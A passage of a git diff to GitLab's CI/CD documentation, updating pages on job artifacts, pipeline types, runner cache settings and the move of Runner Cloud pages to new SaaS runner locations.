+(for example `feature/my-feature`) it's advised to use `$CI_COMMIT_REF_SLUG`
+instead of `$CI_COMMIT_REF_NAME` for proper naming of the artifact.
+
+To create an archive with a name of the current job and the current branch or
+tag including only the binaries directory:
+
+```yaml
+job:
+ artifacts:
+ name: "$CI_JOB_NAME-$CI_COMMIT_REF_NAME"
+ paths:
+ - binaries/
+```
+
+To create an archive with a name of the current [stage](../yaml/index.md#stages) and branch name:
+
+```yaml
+job:
+ artifacts:
+ name: "$CI_JOB_STAGE-$CI_COMMIT_REF_NAME"
+ paths:
+ - binaries/
+```
+
+If you use **Windows Batch** to run your shell scripts you must replace
+`$` with `%`:
+
+```yaml
+job:
+ artifacts:
+ name: "%CI_JOB_STAGE%-%CI_COMMIT_REF_NAME%"
+ paths:
+ - binaries/
+```
+
+If you use **Windows PowerShell** to run your shell scripts you must replace
+`$` with `$env:`:
+
+```yaml
+job:
+ artifacts:
+ name: "$env:CI_JOB_STAGE-$env:CI_COMMIT_REF_NAME"
+ paths:
+ - binaries/
+```
+
+### Exclude files from job artifacts
+
+Use [`artifacts:exclude`](../yaml/index.md#artifactsexclude) to prevent files from
+being added to an artifacts archive.
+
+For example, to store all files in `binaries/`, but not `*.o` files located in
+subdirectories of `binaries/`.
+
+```yaml
+artifacts:
+ paths:
+ - binaries/
+ exclude:
+ - binaries/**/*.o
+```
+
+Unlike [`artifacts:paths`](../yaml/index.md#artifactspaths), `exclude` paths are not recursive.
+To exclude all of the contents of a directory, match them explicitly rather
+than matching the directory itself.
+
+For example, to store all files in `binaries/` but nothing located in the `temp/` subdirectory:
+
+```yaml
+artifacts:
+ paths:
+ - binaries/
+ exclude:
+ - binaries/temp/**/*
+```
+
+### Add untracked files to artifacts
+
+Use [`artifacts:untracked`](../yaml/index.md#artifactsuntracked) to add all Git untracked
+files as artifacts (along with the paths defined in [`artifacts:paths`](../yaml/index.md#artifactspaths)).
+
+Save all Git untracked files and files in `binaries`:
+
+```yaml
+artifacts:
+ untracked: true
+ paths:
+ - binaries/
+```
+
+Save all untracked files but [exclude](../yaml/index.md#artifactsexclude) `*.txt`:
+
+```yaml
+artifacts:
+ untracked: true
+ exclude:
+ - "*.txt"
+```
## Download job artifacts
@@ -103,6 +267,35 @@ To delete a job:
1. On the top right of the job's log, select **Erase job log** (**{remove}**).
1. On the confirmation dialog, select **OK**.
+## Expose job artifacts in the merge request UI
+
+Use the [`artifacts:expose_as`](../yaml/index.md#artifactsexpose_as) keyword to expose
+[job artifacts](../pipelines/job_artifacts.md) in the [merge request](../../user/project/merge_requests/index.md) UI.
+
+For example, to match a single file:
+
+```yaml
+test:
+ script: ["echo 'test' > file.txt"]
+ artifacts:
+ expose_as: 'artifact 1'
+ paths: ['file.txt']
+```
+
+With this configuration, GitLab adds a link **artifact 1** to the relevant merge request
+that points to `file.txt`. To access the link, select **View exposed artifact**
+below the pipeline graph in the merge request overview.
+
+An example that matches an entire directory:
+
+```yaml
+test:
+ script: ["mkdir test && echo 'test' > test/file.txt"]
+ artifacts:
+ expose_as: 'artifact 1'
+ paths: ['test/']
+```
+
## Retrieve job artifacts for other projects
To retrieve a job artifact from a different project, you might need to use a
@@ -182,6 +375,14 @@ job artifacts are deleted.
> - [Feature flag removed](https://gitlab.com/gitlab-org/gitlab/-/issues/229936) in GitLab 13.4.
> - [Made optional with a CI/CD setting](https://gitlab.com/gitlab-org/gitlab/-/issues/241026) in GitLab 13.8.
+By default artifacts are always kept for the most recent successful pipeline for
+each ref. This means that the latest artifacts do not immediately expire according
+to the `expire_in` specification.
+
+If a new pipeline for the same ref completes successfully, the previous pipeline's
+artifacts are deleted according to the `expire_in` configuration. The artifacts
+of the new pipeline are kept automatically.
+
Keeping the latest artifacts can use a large amount of storage space in projects
with a lot of jobs or large artifacts. If the latest artifacts are not needed in
a project, you can disable this behavior to save space:
@@ -194,9 +395,6 @@ a project, you can disable this behavior to save space:
You can disable this behavior for all projects on a self-managed instance in the
[instance's CI/CD settings](../../user/admin_area/settings/continuous_integration.md#keep-the-latest-artifacts-for-all-jobs-in-the-latest-successful-pipelines).
-When you disable the feature, the latest artifacts do not immediately expire.
-A new pipeline must run before the latest artifacts can expire and be deleted.
-
## Troubleshooting job artifacts
### Error message `No files to upload`
diff --git a/doc/ci/pipelines/merge_request_pipelines.md b/doc/ci/pipelines/merge_request_pipelines.md
index 119633d38e2..85e5b62b0c4 100644
--- a/doc/ci/pipelines/merge_request_pipelines.md
+++ b/doc/ci/pipelines/merge_request_pipelines.md
@@ -112,11 +112,11 @@ C:
- merge_requests
```
-- `A` and `B` always run, because they get the `only:` rule to execute in all cases.
+- `A` and `B` always run, because they get the `only` rule to execute in all cases.
- `C` only runs for merge requests. It doesn't run for any pipeline
except a merge request pipeline.
-In this example, you don't have to add the `only:` rule to all of your jobs to make
+In this example, you don't have to add the `only` rule to all of your jobs to make
them always run. You can use this format to set up a Review App, which helps to
save resources.
diff --git a/doc/ci/pipelines/merge_trains.md b/doc/ci/pipelines/merge_trains.md
index 6074909a887..593cdb68b3f 100644
--- a/doc/ci/pipelines/merge_trains.md
+++ b/doc/ci/pipelines/merge_trains.md
@@ -11,6 +11,10 @@ last_update: 2019-07-03
> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/9186) in GitLab 12.0.
> - [Squash and merge](../../user/project/merge_requests/squash_and_merge.md) support [introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/13001) in GitLab 12.6.
+INFO:
+Get merge trains and more in GitLab Ultimate.
+[Try a free 30-day trial now](https://about.gitlab.com/free-trial/index.html?glm_source=docs.gitlab.com&glm_content=p-ci-cd-external-docs).
+
For more information about why you might want to use merge trains, read [How merge trains keep your master green](https://about.gitlab.com/blog/2020/01/30/all-aboard-merge-trains/).
When [pipelines for merged results](pipelines_for_merged_results.md) are
@@ -35,7 +39,8 @@ If the pipeline for the merge request at the front of the train completes succes
the changes are merged into the target branch, and the other pipelines continue to
run.
-To add a merge request to a merge train, you need [permissions](../../user/permissions.md) to push to the target branch.
+To add a merge request to a merge train, you need [permissions](../../user/permissions.md) to merge or push to the
+target branch.
Each merge train can run a maximum of **twenty** pipelines in parallel.
If more than twenty merge requests are added to the merge train, the merge requests
diff --git a/doc/ci/pipelines/multi_project_pipelines.md b/doc/ci/pipelines/multi_project_pipelines.md
index 30b3bc2e277..8a83e7e31f4 100644
--- a/doc/ci/pipelines/multi_project_pipelines.md
+++ b/doc/ci/pipelines/multi_project_pipelines.md
@@ -213,7 +213,7 @@ In the upstream pipeline:
```
1. Set the `test` job in the downstream pipeline to inherit the variables from the `build_vars`
- job in the upstream project with `needs:`. The `test` job inherits the variables in the
+ job in the upstream project with `needs`. The `test` job inherits the variables in the
`dotenv` report and it can access `BUILD_VERSION` in the script:
```yaml
diff --git a/doc/ci/pipelines/parent_child_pipelines.md b/doc/ci/pipelines/parent_child_pipelines.md
index 64f4160c963..5e4b707a38c 100644
--- a/doc/ci/pipelines/parent_child_pipelines.md
+++ b/doc/ci/pipelines/parent_child_pipelines.md
@@ -31,10 +31,9 @@ set of concurrently running child pipelines, but within the same project:
- Child pipelines still execute each of their jobs according to a stage sequence, but
would be free to continue forward through their stages without waiting for unrelated
jobs in the parent pipeline to finish.
-- The configuration is split up into smaller child pipeline configurations, which are
+- The configuration is split up into smaller child pipeline configurations. Each child pipeline contains only relevant steps which are
easier to understand. This reduces the cognitive load to understand the overall configuration.
- Imports are done at the child pipeline level, reducing the likelihood of collisions.
-- Each pipeline has only relevant steps, making it easier to understand what's going on.
Child pipelines work well with other GitLab CI/CD features:
@@ -43,7 +42,7 @@ Child pipelines work well with other GitLab CI/CD features:
- Since the parent pipeline in `.gitlab-ci.yml` and the child pipeline run as normal
pipelines, they can have their own behaviors and sequencing in relation to triggers.
-See the [`trigger:`](../yaml/index.md#trigger) keyword documentation for full details on how to
+See the [`trigger`](../yaml/index.md#trigger) keyword documentation for full details on how to
include the child pipeline configuration.
<i class="fa fa-youtube-play youtube" aria-hidden="true"></i>
@@ -85,7 +84,7 @@ microservice_a:
file: '/path/to/child-pipeline.yml'
```
-The maximum number of entries that are accepted for `trigger:include:` is three.
+The maximum number of entries that are accepted for `trigger:include` is three.
Similar to [multi-project pipelines](multi_project_pipelines.md#mirror-status-of-a-triggered-pipeline-in-the-trigger-job),
we can set the parent pipeline to depend on the status of the child pipeline upon completion:
diff --git a/doc/ci/pipelines/pipeline_architectures.md b/doc/ci/pipelines/pipeline_architectures.md
index 1b23727b142..3ff22a16900 100644
--- a/doc/ci/pipelines/pipeline_architectures.md
+++ b/doc/ci/pipelines/pipeline_architectures.md
@@ -211,7 +211,7 @@ trigger_b:
```
Example child `a` pipeline configuration, located in `/a/.gitlab-ci.yml`, making
-use of the DAG `needs:` keyword:
+use of the DAG `needs` keyword:
```yaml
stages:
@@ -240,7 +240,7 @@ deploy_a:
```
Example child `b` pipeline configuration, located in `/b/.gitlab-ci.yml`, making
-use of the DAG `needs:` keyword:
+use of the DAG `needs` keyword:
```yaml
stages:
diff --git a/doc/ci/pipelines/pipelines_for_merged_results.md b/doc/ci/pipelines/pipelines_for_merged_results.md
index 2acef9be557..718519faf48 100644
--- a/doc/ci/pipelines/pipelines_for_merged_results.md
+++ b/doc/ci/pipelines/pipelines_for_merged_results.md
@@ -10,6 +10,10 @@ last_update: 2019-07-03
> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/7380) in GitLab 11.10.
+INFO:
+Get these pipelines and more in GitLab Ultimate.
+[Try a free 30-day trial now](https://about.gitlab.com/free-trial/index.html?glm_source=docs.gitlab.com&glm_content=p-ci-cd-external-docs).
+
When you submit a merge request, you are requesting to merge changes from a
source branch into a target branch. By default, the CI pipeline runs jobs
against the source branch.
diff --git a/doc/ci/pipelines/settings.md b/doc/ci/pipelines/settings.md
index a8ecb5e0d74..cf470836e32 100644
--- a/doc/ci/pipelines/settings.md
+++ b/doc/ci/pipelines/settings.md
@@ -134,7 +134,7 @@ For example:
- `my/path/.my-custom-file.yml@mygroup/another-project`
- `my/path/.my-custom-file.yml@mygroup/another-project:refname`
-If the configuration file is in a separate project, you can more set more granular permissions. For example:
+If the configuration file is in a separate project, you can set more granular permissions. For example:
- Create a public project to host the configuration file.
- Give write permissions on the project only to users who are allowed to edit the file.
@@ -267,7 +267,7 @@ when merging a merge request would cause the project's test coverage to decline.
Follow these steps to enable the `Coverage-Check` MR approval rule:
-1. Set up a [`coverage:`](../yaml/index.md#coverage) regular expression for all jobs you want to include in the overall coverage value.
+1. Set up a [`coverage`](../yaml/index.md#coverage) regular expression for all jobs you want to include in the overall coverage value.
1. Go to your project and select **Settings > General**.
1. Expand **Merge request approvals**.
1. Select **Enable** next to the `Coverage-Check` approval rule.
diff --git a/doc/ci/resource_groups/index.md b/doc/ci/resource_groups/index.md
index 25dacc9c437..d31fb5561e9 100644
--- a/doc/ci/resource_groups/index.md
+++ b/doc/ci/resource_groups/index.md
@@ -52,7 +52,7 @@ deploy:
```
With this configuration, the safety on the deployments is assured while you
-can still run `build` jobs concurrently for maximizing the pipeline efficency.
+can still run `build` jobs concurrently for maximizing the pipeline efficiency.
## Requirements
diff --git a/doc/ci/runners/build_cloud/linux_build_cloud.md b/doc/ci/runners/build_cloud/linux_build_cloud.md
index e8bad31c821..2892a30cd2e 100644
--- a/doc/ci/runners/build_cloud/linux_build_cloud.md
+++ b/doc/ci/runners/build_cloud/linux_build_cloud.md
@@ -1,9 +1,9 @@
---
-redirect_to: '../runner_cloud/linux_runner_cloud.md'
+redirect_to: '../saas/linux_saas_runner.md'
remove_date: '2022-02-05'
---
-This document was moved to [another location](../runner_cloud/linux_runner_cloud.md).
+This document was moved to [another location](../saas/linux_saas_runner.md).
<!-- This redirect file can be deleted after 2022-02-05. -->
<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page -->
diff --git a/doc/ci/runners/build_cloud/macos/environment.md b/doc/ci/runners/build_cloud/macos/environment.md
index aaef0d07098..a534e87cc34 100644
--- a/doc/ci/runners/build_cloud/macos/environment.md
+++ b/doc/ci/runners/build_cloud/macos/environment.md
@@ -1,9 +1,9 @@
---
-redirect_to: '../../runner_cloud/macos/environment.md'
+redirect_to: '../../saas/macos/environment.md'
remove_date: '2022-02-05'
---
-This document was moved to [another location](../../runner_cloud/macos/environment.md).
+This document was moved to [another location](../../saas/macos/environment.md).
<!-- This redirect file can be deleted after 2022-02-05. -->
<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page -->
diff --git a/doc/ci/runners/build_cloud/macos_build_cloud.md b/doc/ci/runners/build_cloud/macos_build_cloud.md
index e478f93f34c..50b7e0cfb79 100644
--- a/doc/ci/runners/build_cloud/macos_build_cloud.md
+++ b/doc/ci/runners/build_cloud/macos_build_cloud.md
@@ -1,9 +1,9 @@
---
-redirect_to: '../runner_cloud/macos_runner_cloud.md'
+redirect_to: '../saas/macos_saas_runner.md'
remove_date: '2022-02-05'
---
-This document was moved to [another location](../runner_cloud/macos_runner_cloud.md).
+This document was moved to [another location](../saas/macos_saas_runner.md).
<!-- This redirect file can be deleted after 2022-02-05. -->
<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page -->
diff --git a/doc/ci/runners/build_cloud/windows_build_cloud.md b/doc/ci/runners/build_cloud/windows_build_cloud.md
index 8d57ecf27ed..fb64938eb9f 100644
--- a/doc/ci/runners/build_cloud/windows_build_cloud.md
+++ b/doc/ci/runners/build_cloud/windows_build_cloud.md
@@ -1,9 +1,9 @@
---
-redirect_to: '../runner_cloud/windows_runner_cloud.md'
+redirect_to: '../saas/windows_saas_runner.md'
remove_date: '2022-02-05'
---
-This document was moved to [another location](../runner_cloud/windows_runner_cloud.md).
+This document was moved to [another location](../saas/windows_saas_runner.md).
<!-- This redirect file can be deleted after 2022-02-05. -->
<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page -->
diff --git a/doc/ci/runners/configure_runners.md b/doc/ci/runners/configure_runners.md
index 9e30f4dbf4d..b2885262e9d 100644
--- a/doc/ci/runners/configure_runners.md
+++ b/doc/ci/runners/configure_runners.md
@@ -297,6 +297,7 @@ globally or for individual jobs:
- [`TRANSFER_METER_FREQUENCY`](#artifact-and-cache-settings) (artifact/cache meter update frequency)
- [`ARTIFACT_COMPRESSION_LEVEL`](#artifact-and-cache-settings) (artifact archiver compression level)
- [`CACHE_COMPRESSION_LEVEL`](#artifact-and-cache-settings) (cache archiver compression level)
+- [`CACHE_REQUEST_TIMEOUT`](#artifact-and-cache-settings) (cache request timeout)
You can also use variables to configure how many times a runner
[attempts certain stages of job execution](#job-stages-attempts).
@@ -637,7 +638,10 @@ For [GitLab Pages](../../user/project/pages/index.md) to serve
should use the `ARTIFACT_COMPRESSION_LEVEL: fastest` setting, as only uncompressed zip archives
support this feature.
-A meter can also be enabled to provide the rate of transfer for uploads and downloads.
+A meter can be enabled to provide the rate of transfer for uploads and downloads.
+
+You can set a maximum time for cache upload and download with the `CACHE_REQUEST_TIMEOUT` setting.
+This setting can be useful when slow cache uploads substantially increase the duration of your job.
```yaml
variables:
@@ -649,6 +653,9 @@ variables:
# Use no compression for caches
CACHE_COMPRESSION_LEVEL: "fastest"
+
+ # Set maximum duration of cache upload and download
+ CACHE_REQUEST_TIMEOUT: 5
```
| Variable | Description |
@@ -656,3 +663,4 @@ variables:
| `TRANSFER_METER_FREQUENCY` | Specify how often to print the meter's transfer rate. It can be set to a duration (for example, `1s` or `1m30s`). A duration of `0` disables the meter (default). When a value is set, the pipeline shows a progress meter for artifact and cache uploads and downloads. |
| `ARTIFACT_COMPRESSION_LEVEL` | To adjust compression ratio, set to `fastest`, `fast`, `default`, `slow`, or `slowest`. This setting works with the Fastzip archiver only, so the GitLab Runner feature flag [`FF_USE_FASTZIP`](https://docs.gitlab.com/runner/configuration/feature-flags.html#available-feature-flags) must also be enabled. |
| `CACHE_COMPRESSION_LEVEL` | To adjust compression ratio, set to `fastest`, `fast`, `default`, `slow`, or `slowest`. This setting works with the Fastzip archiver only, so the GitLab Runner feature flag [`FF_USE_FASTZIP`](https://docs.gitlab.com/runner/configuration/feature-flags.html#available-feature-flags) must also be enabled. |
+| `CACHE_REQUEST_TIMEOUT` | Configure the maximum duration of cache upload and download operations for a single job in minutes. Default is `10` minutes. |
diff --git a/doc/ci/runners/index.md b/doc/ci/runners/index.md
index d408bc46609..b4e9fe818cf 100644
--- a/doc/ci/runners/index.md
+++ b/doc/ci/runners/index.md
@@ -5,12 +5,12 @@ info: To determine the technical writer assigned to the Stage/Group associated w
type: reference
---
-# GitLab Runner Cloud **(FREE)**
+# Runner SaaS **(FREE SAAS)**
-If you are using self-managed GitLab or you want to use your own runners on GitLab.com, you can
+If you are using self-managed GitLab or you use GitLab.com but want to use your own runners, you can
[install and configure your own runners](https://docs.gitlab.com/runner/install/).
-If you are using GitLab SaaS (GitLab.com), your CI jobs automatically run on runners in the GitLab Runner Cloud.
+If you are using GitLab SaaS (GitLab.com), your CI jobs automatically run on runners provided by GitLab.
No configuration is required. Your jobs can run on:
- [Linux runners](build_cloud/linux_build_cloud.md).
diff --git a/doc/ci/runners/runner_cloud/linux_runner_cloud.md b/doc/ci/runners/runner_cloud/linux_runner_cloud.md
index d0fedfcabb2..2892a30cd2e 100644
--- a/doc/ci/runners/runner_cloud/linux_runner_cloud.md
+++ b/doc/ci/runners/runner_cloud/linux_runner_cloud.md
@@ -1,186 +1,9 @@
---
-stage: Verify
-group: Runner
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
+redirect_to: '../saas/linux_saas_runner.md'
+remove_date: '2022-02-05'
---
-# Runner Cloud for Linux **(FREE)**
+This document was moved to [another location](../saas/linux_saas_runner.md).
-Runner Cloud runners for Linux run in autoscale mode and are powered by Google Cloud Platform.
-
-Autoscaling means reduced queue times to spin up CI/CD jobs, and isolated VMs for each job, thus maximizing security. These shared runners are available on GitLab.com.
-
-GitLab offers Ultimate tier capabilities and included CI/CD minutes per group per month for our [Open Source](https://about.gitlab.com/solutions/open-source/join/), [Education](https://about.gitlab.com/solutions/education/), and [Startups](https://about.gitlab.com/solutions/startups/) programs. For private projects, GitLab offers various [plans](https://about.gitlab.com/pricing/), starting with a Free tier.
-
-All your CI/CD jobs run on [n1-standard-1 instances](https://cloud.google.com/compute/docs/machine-types) with 3.75GB of RAM, Google COS and the latest Docker Engine
-installed. Instances provide 1 vCPU and 25GB of HDD disk space. The default
-region of the VMs is US East1.
-Each instance is used only for one job. This ensures that any sensitive data left on the system can't be accessed by other people's CI/CD jobs.
-
-NOTE:
-The final disk space your jobs can use will be less than 25GB. Some disk space allocated to the instance will be occupied by the operating system, the Docker image, and a copy of your cloned repository.
-
-The `gitlab-shared-runners-manager-X.gitlab.com` fleet of runners are dedicated for GitLab projects as well as community forks of them. They use a slightly larger machine type (n1-standard-2) and have a bigger SSD disk size. They don't run untagged jobs and unlike the general fleet of shared runners, the instances are re-used up to 40 times.
-
-Jobs handled by the shared runners on GitLab.com (`shared-runners-manager-X.gitlab.com`),
-**time out after 3 hours**, regardless of the timeout configured in a
-project. Check the issues [#4010](https://gitlab.com/gitlab-com/infrastructure/-/issues/4010) and [#4070](https://gitlab.com/gitlab-com/infrastructure/-/issues/4070) for the reference.
-
-Below are the runners' settings.
-
-| Setting | GitLab.com | Default |
-| ----------- | ----------------- | ---------- |
-| Executor | `docker+machine` | - |
-| Default Docker image | `ruby:2.5` | - |
-| `privileged` (run [Docker in Docker](https://hub.docker.com/_/docker/)) | `true` | `false` |
-
-These runners share a [distributed cache](https://docs.gitlab.com/runner/configuration/autoscale.html#distributed-runners-caching) through use of a Google Cloud Storage (GCS) bucket. Cache contents not updated within the last 14 days are automatically removed through use of an [object lifecycle management policy](https://cloud.google.com/storage/docs/lifecycle).
-
-## Pre-clone script
-
-Cloud runners for Linux provide a way to run commands in a CI
-job before the runner attempts to run `git init` and `git fetch` to
-download a GitLab repository. The
-[`pre_clone_script`](https://docs.gitlab.com/runner/configuration/advanced-configuration.html#the-runners-section)
-can be used for:
-
-- Seeding the build directory with repository data
-- Sending a request to a server
-- Downloading assets from a CDN
-- Any other commands that must run before the `git init`
-
-To use this feature, define a [CI/CD variable](../../../ci/variables/index.md#custom-cicd-variables) called
-`CI_PRE_CLONE_SCRIPT` that contains a bash script.
-
-NOTE:
-The `CI_PRE_CLONE_SCRIPT` variable does not work on Windows runners.
-
-### Pre-clone script example
-
-This example was used in the `gitlab-org/gitlab` project until November 2021.
-The project no longer uses this optimization because the [pack-objects cache](../../../administration/gitaly/configure_gitaly.md#pack-objects-cache)
-lets Gitaly serve the full CI/CD fetch traffic. See [Git fetch caching](../../../development/pipelines.md#git-fetch-caching).
-
-The `CI_PRE_CLONE_SCRIPT` was defined as a project CI/CD variable:
-
-```shell
-(
- echo "Downloading archived master..."
- wget -O /tmp/gitlab.tar.gz https://storage.googleapis.com/gitlab-ci-git-repo-cache/project-278964/gitlab-master-shallow.tar.gz
-
- if [ ! -f /tmp/gitlab.tar.gz ]; then
- echo "Repository cache not available, cloning a new directory..."
- exit
- fi
-
- rm -rf $CI_PROJECT_DIR
- echo "Extracting tarball into $CI_PROJECT_DIR..."
- mkdir -p $CI_PROJECT_DIR
- cd $CI_PROJECT_DIR
- tar xzf /tmp/gitlab.tar.gz
- rm -f /tmp/gitlab.tar.gz
- chmod a+w $CI_PROJECT_DIR
-)
-```
-
-The first step of the script downloads `gitlab-master.tar.gz` from Google Cloud Storage.
-There was a [GitLab CI/CD job named `cache-repo`](https://gitlab.com/gitlab-org/gitlab/-/blob/5fb40526c8c8aaafc5f92eab36d5bbddaca3893d/.gitlab/ci/cache-repo.gitlab-ci.yml)
-that was responsible for keeping that archive up-to-date. Every two hours on a scheduled pipeline,
-it did the following:
-
-1. Create a fresh clone of the `gitlab-org/gitlab` repository on GitLab.com.
-1. Save the data as a `.tar.gz`.
-1. Upload it into the Google Cloud Storage bucket.
-
-When a job ran with this configuration, the output looked similar to:
-
-```shell
-$ eval "$CI_PRE_CLONE_SCRIPT"
-Downloading archived master...
-Extracting tarball into /builds/gitlab-org/gitlab...
-Fetching changes...
-Reinitialized existing Git repository in /builds/gitlab-org/gitlab/.git/
-```
-
-The `Reinitialized existing Git repository` message shows that
-the pre-clone step worked. The runner runs `git init`, which
-overwrites the Git configuration with the appropriate settings to fetch
-from the GitLab repository.
-
-`CI_REPO_CACHE_CREDENTIALS` must contain the Google Cloud service account
-JSON for uploading to the `gitlab-ci-git-repo-cache` bucket.
-
-Note that this bucket should be located in the same continent as the
-runner, or [you can incur network egress charges](https://cloud.google.com/storage/pricing).
-
-## `config.toml`
-
-The full contents of our `config.toml` are:
-
-NOTE:
-Settings that are not public are shown as `X`.
-
-**Google Cloud Platform**
-
-```toml
-concurrent = X
-check_interval = 1
-metrics_server = "X"
-sentry_dsn = "X"
-
-[[runners]]
- name = "docker-auto-scale"
- request_concurrency = X
- url = "https://gitlab.com/"
- token = "SHARED_RUNNER_TOKEN"
- pre_clone_script = "eval \"$CI_PRE_CLONE_SCRIPT\""
- executor = "docker+machine"
- environment = [
- "DOCKER_DRIVER=overlay2",
- "DOCKER_TLS_CERTDIR="
- ]
- limit = X
- [runners.docker]
- image = "ruby:2.5"
- privileged = true
- volumes = [
- "/certs/client",
- "/dummy-sys-class-dmi-id:/sys/class/dmi/id:ro" # Make kaniko builds work on GCP.
- ]
- [runners.machine]
- IdleCount = 50
- IdleTime = 3600
- MaxBuilds = 1 # For security reasons we delete the VM after job has finished so it's not reused.
- MachineName = "srm-%s"
- MachineDriver = "google"
- MachineOptions = [
- "google-project=PROJECT",
- "google-disk-size=25",
- "google-machine-type=n1-standard-1",
- "google-username=core",
- "google-tags=gitlab-com,srm",
- "google-use-internal-ip",
- "google-zone=us-east1-d",
- "engine-opt=mtu=1460", # Set MTU for container interface, for more information check https://gitlab.com/gitlab-org/gitlab-runner/-/issues/3214#note_82892928
- "google-machine-image=PROJECT/global/images/IMAGE",
- "engine-opt=ipv6", # This will create IPv6 interfaces in the containers.
- "engine-opt=fixed-cidr-v6=fc00::/7",
- "google-operation-backoff-initial-interval=2" # Custom flag from forked docker-machine, for more information check https://github.com/docker/machine/pull/4600
- ]
- [[runners.machine.autoscaling]]
- Periods = ["* * * * * sat,sun *"]
- Timezone = "UTC"
- IdleCount = 70
- IdleTime = 3600
- [[runners.machine.autoscaling]]
- Periods = ["* 30-59 3 * * * *", "* 0-30 4 * * * *"]
- Timezone = "UTC"
- IdleCount = 700
- IdleTime = 3600
- [runners.cache]
- Type = "gcs"
- Shared = true
- [runners.cache.gcs]
- CredentialsFile = "/path/to/file"
- BucketName = "bucket-name"
-```
+<!-- This redirect file can be deleted after 2022-02-05. -->
+<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page -->
diff --git a/doc/ci/runners/runner_cloud/macos/environment.md b/doc/ci/runners/runner_cloud/macos/environment.md
index ddefad775c1..37ad21c28fc 100644
--- a/doc/ci/runners/runner_cloud/macos/environment.md
+++ b/doc/ci/runners/runner_cloud/macos/environment.md
@@ -1,43 +1,9 @@
---
-stage: Verify
-group: Runner
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
+redirect_to: '../../saas/macos/environment.md'
+remove_date: '2022-02-05'
---
-# VM instances and images for Runner Cloud for macOS **(FREE)**
+This document was moved to [another location](../../saas/macos/environment.md).
-When you use the Runner Cloud for macOS:
-
-- Each of your jobs runs in a newly provisioned VM, which is dedicated to the specific job.
-- The VM is active only for the duration of the job and immediately deleted.
-
-## VM types
-
-The virtual machine where your job runs has `sudo` access with no password.
-For the Beta, there is only one available machine type, `gbc-macos-large`.
-
-| Instance type | vCPUS | Memory (GB) |
-| --------- | --- | ------- |
-| `gbc-macos-large` | 4 | 10 |
-
-## VM images
-
-You can execute your build on one of the following images.
-You specify this image in your `.gitlab-ci.yml` file.
-
-Each image is running a specific version of macOS and Xcode.
-
-| VM image | Included software |
-|---------------------------|--------------------|
-| macos-10.13-xcode-7 | <https://gitlab.com/gitlab-org/ci-cd/shared-runners/images/macstadium/orka/-/blob/main/toolchain/high-sierra.yml> |
-| macos-10.13-xcode-8 | <https://gitlab.com/gitlab-org/ci-cd/shared-runners/images/macstadium/orka/-/blob/main/toolchain/high-sierra.yml> |
-| macos-10.13-xcode-9 | <https://gitlab.com/gitlab-org/ci-cd/shared-runners/images/macstadium/orka/-/blob/main/toolchain/high-sierra.yml> |
-| macos-10.14-xcode-10 | <https://gitlab.com/gitlab-org/ci-cd/shared-runners/images/macstadium/orka/-/blob/main/toolchain/mojave.yml> |
-| macos-10.15-xcode-11 | <https://gitlab.com/gitlab-org/ci-cd/shared-runners/images/macstadium/orka/-/blob/main/toolchain/catalina.yml> |
-| macos-11-xcode-12 | <https://gitlab.com/gitlab-org/ci-cd/shared-runners/images/macstadium/orka/-/blob/main/toolchain/big-sur.yml> |
-
-### Image update policy
-
-- Support for new macOS versions is planned.
-- Additional details on the support policy and image update release process are documented
- [in this project](https://gitlab.com/gitlab-org/ci-cd/shared-runners/images/macstadium/orka/-/blob/55bf59c8fa88712960afff2bf6ecc5daa879a8f5/docs/overview.md#os-images).
+<!-- This redirect file can be deleted after 2022-02-05. -->
+<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page --> \ No newline at end of file
diff --git a/doc/ci/runners/runner_cloud/macos_runner_cloud.md b/doc/ci/runners/runner_cloud/macos_runner_cloud.md
index 332284fa8c1..50b7e0cfb79 100644
--- a/doc/ci/runners/runner_cloud/macos_runner_cloud.md
+++ b/doc/ci/runners/runner_cloud/macos_runner_cloud.md
@@ -1,62 +1,9 @@
---
-stage: Verify
-group: Runner
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
+redirect_to: '../saas/macos_saas_runner.md'
+remove_date: '2022-02-05'
---
-# Runner Cloud for macOS (Beta) **(FREE SAAS)**
+This document was moved to [another location](../saas/macos_saas_runner.md).
-The Runner Cloud for macOS Beta provides on-demand runners integrated with GitLab SaaS [CI/CD](../../../ci/index.md).
-Use these runners to build, test, and deploy apps for the Apple ecosystem (macOS, iOS, tvOS). You can take advantage
-of all the capabilities of the GitLab single DevOps platform and not have to manage or operate a
-build environment.
-
-Cloud runners for macOS are in [Beta](https://about.gitlab.com/handbook/product/gitlab-the-product/#beta)
-and shouldn't be relied upon for mission-critical production jobs.
-
-## Quickstart
-
-To start using Runner Cloud for macOS Beta, you must submit an access request [issue](https://gitlab.com/gitlab-com/macos-buildcloud-runners-beta/-/issues/new?issuable_template=beta_access_request). After your
-access has been granted and your build environment configured, you must configure your
-`.gitlab-ci.yml` pipeline file:
-
-1. Add a `.gitlab-ci.yml` file to your project repository.
-1. Specify the [image](macos/environment.md#vm-images) you want to use.
-1. Commit a change to your repository.
-
-The runners automatically run your build.
-
-## Example `.gitlab-ci.yml` file
-
-The following sample `.gitlab-ci.yml` file shows how to start using the runners for macOS:
-
-```yaml
-.macos_buildcloud_runners:
- tags:
- - shared-macos-amd64
- image: macos-11-xcode-12
-
-stages:
- - build
- - test
-
-before_script:
- - echo "started by ${GITLAB_USER_NAME}"
-
-build:
- extends:
- - .macos_buildcloud_runners
- stage: build
- script:
- - echo "running scripts in the build job"
-
-test:
- extends:
- - .macos_buildcloud_runners
- stage: test
- script:
- - echo "running scripts in the test job"
-```
-
-NOTE:
